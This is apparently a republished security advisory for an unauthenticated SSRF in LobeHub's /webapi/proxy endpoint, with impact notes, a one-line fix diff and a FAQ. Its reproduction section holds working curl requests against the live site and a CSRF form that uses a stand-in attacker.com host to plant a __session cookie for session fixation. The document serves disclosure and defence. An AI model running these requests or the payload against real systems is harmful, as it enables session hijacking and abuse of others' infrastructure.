CVE-2026-54157

Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com

The /webapi/proxy endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where /api/proxy was fixed by adding auth middleware. The /webapi/proxy route was never secured, it is the only webapi route missing the checkAuth() wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub's infrastructure, leak Vercel deployment details, and inject cookies on the lobehub.com domain through reflected Set-Cookie headers.

Vulnerability Details

Type: Server-Side Request Forgery (CWE-918)
Affected Endpoint: POST /webapi/proxy
Vulnerable File: src/app/(backend)/webapi/proxy/route.ts

The route handler reads a URL from the request body and passes it to ssrfSafeFetch() without calling checkAuth() first. Every other webapi route (/webapi/chat/*, /webapi/models/*, /webapi/create-image/*) wraps the handler in checkAuth(), but the proxy does not. The Next.js middleware also skips /webapi/ routes, defaultMiddleware() calls NextResponse.next() for any path starting with /webapi/, so neither the route handler nor the middleware performs authentication.

Steps to Reproduce

Fetch an external URL through the proxy (no auth, no cookies, no tokens):

curl -X POST -H "Content-Type: text/plain;charset=UTF-8" \
  -d "https://httpbin.org/ip" \
  "https://app.lobehub.com/webapi/proxy"

Response:

{"origin": "3.14.141.44"}

This is the IP of LobeHub's Vercel serverless function. The proxy fetched httpbin.org and returned the full response body.

Inject a cookie on the lobehub.com domain:

curl -D- -X POST -H "Content-Type: text/plain;charset=UTF-8" \
  -d "https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly" \
  "https://app.lobehub.com/webapi/proxy"

The response headers include:

set-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly

The proxy passes upstream response headers straight through (only stripping Content-Encoding and Content-Length). An attacker controls the upstream server, so they control which Set-Cookie headers are reflected. The __session and __clerk_db_jwt cookies are both injectable, these are the cookie names used by Clerk for authentication.

CSRF to cookie injection (no user interaction beyond visiting a page):

An attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker's server. The attacker's server responds with a Set-Cookie header, and the proxy reflects it. The victim's browser sets the cookie on lobehub.com because the response comes from app.lobehub.com.

<form id=f action="https://app.lobehub.com/webapi/proxy"
  method=POST enctype="text/plain">
  <input name="https://attacker.com/inject?x" value="">
</form>
<script>f.submit()</script>

The attacker's server at /inject?x= responds with Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly. The proxy reflects this header and the victim's browser stores the cookie.

The proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com:

An attacker can inject authentication cookies (__session, __clerk_db_jwt, __client_uat) on the lobehub.com domain by chaining CSRF with the proxy's reflected Set-Cookie headers. If LobeHub uses Clerk for session management, this is a session fixation vector, the attacker sets a known session value before the victim logs in, then uses that same value to access the victim's session.

The proxy also leaks Vercel infrastructure details. The Traceparent and X-Vercel-Id headers from internal request tracing appear in every proxied response. The server's egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel's management plane.

The endpoint has no rate limiting. An attacker can use LobeHub's infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-54157 has a CVSS score of 9.0 (Critical). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.1.57); upgrading removes the vulnerable code path.

Kodem intelligence

Add checkAuth() to the proxy route, matching every other webapi route:

- export const POST = async (req: Request) => {
+ export const POST = checkAuth(async (req, { userId }) => {

If the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.

1. What is CVE-2026-54157? CVE-2026-54157 is a critical-severity server-side request forgery (SSRF) vulnerability in @lobehub/lobehub (npm), affecting versions <= 2.1.56. It is fixed in 2.1.57. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-54157? CVE-2026-54157 has a CVSS score of 9.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @lobehub/lobehub are affected by CVE-2026-54157? @lobehub/lobehub (npm) versions <= 2.1.56 is affected.
4. Is there a fix for CVE-2026-54157? Yes. CVE-2026-54157 is fixed in 2.1.57. Upgrade to this version or later.
5. Is CVE-2026-54157 exploitable, and should I be worried? Whether CVE-2026-54157 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-54157 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-54157? Upgrade @lobehub/lobehub to 2.1.57 or later.